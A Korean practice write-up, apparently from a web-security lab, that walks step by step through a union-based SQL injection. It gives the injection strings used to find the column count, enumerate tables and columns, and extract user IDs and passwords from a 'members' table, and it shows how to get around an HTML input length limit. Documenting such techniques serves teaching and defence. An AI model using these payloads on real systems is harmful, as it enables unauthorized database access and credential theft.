Search

[Union based SQLi] 실습

카테고리
[실습] 웹 공격위협
상태
완료
게시일
2024/04/25
태그
SQLi, Union based SQLi

(1) 조회할 Table의 이름 찾기

sysobjects, information_schema.tables
해당 데이터베이스에서 사용하는 Table의 이름을 모아둔 Table
⇒ sysobject 에서 Table 의 이름 Data가 담겨있는 Column : name
⇒ information_schema 에서 Table의 이름 Data가 담겨있는 Column : table_name
syscolumns, information_schema.columns
해당 데이터베이스에서 사용하는 Table의 이름을 모아둔 Table
⇒ syscolumns 에서 Column의 Data가 담겨있는 Column : name
⇒ information_schema.columns 에서 Column의 Data가 담겨있는 Column : column_name

공격 문자열 입력

⇒ ‘ union SELECT table_name FROM information_schema.tables
동일한 개수의 식이 있어야 한다는 오류메세지에서 두 SELECT문이 가져오고있는 Column 개수가 다름을 확인할 수 있음

(2) Column 명 찾기

Column 개수를 구하기 위해 값 증가 시키며 대입

⇒ ‘ union SELECT 1, table_name FROM information_schema.tables --
불러오는 Column 개수가 5가 되었을 때 SQL 문이 정상 동작하여 Table 이름을 추출한 것을 확인할 수 있다

(3) Column 추출

⇒ ‘ union SELECT 1, 2, 3, 4, column_name FROM information_schema.columns --

사용중인 전체 Column 명 추출

(4) 특정 Table의 Column 값 추출

⇒ ‘ union SELECT 1, 2, 3, 4, column_name FROM information_schema.columns where table_name=’members’ --

(5) 특정 Table의 특정 Data 추출 (ID/PW)

⇒ ‘ union SELECT 1, 2, 3, user_id, passwd FROM members --

추출한 데이터를 기반으로 ID 와 PW를 추출하였다

(6) 글자 수 제한이 걸려있는 경우

HTML 태그의 글자 수 제한을 변경 후 공격 문자열을 삽입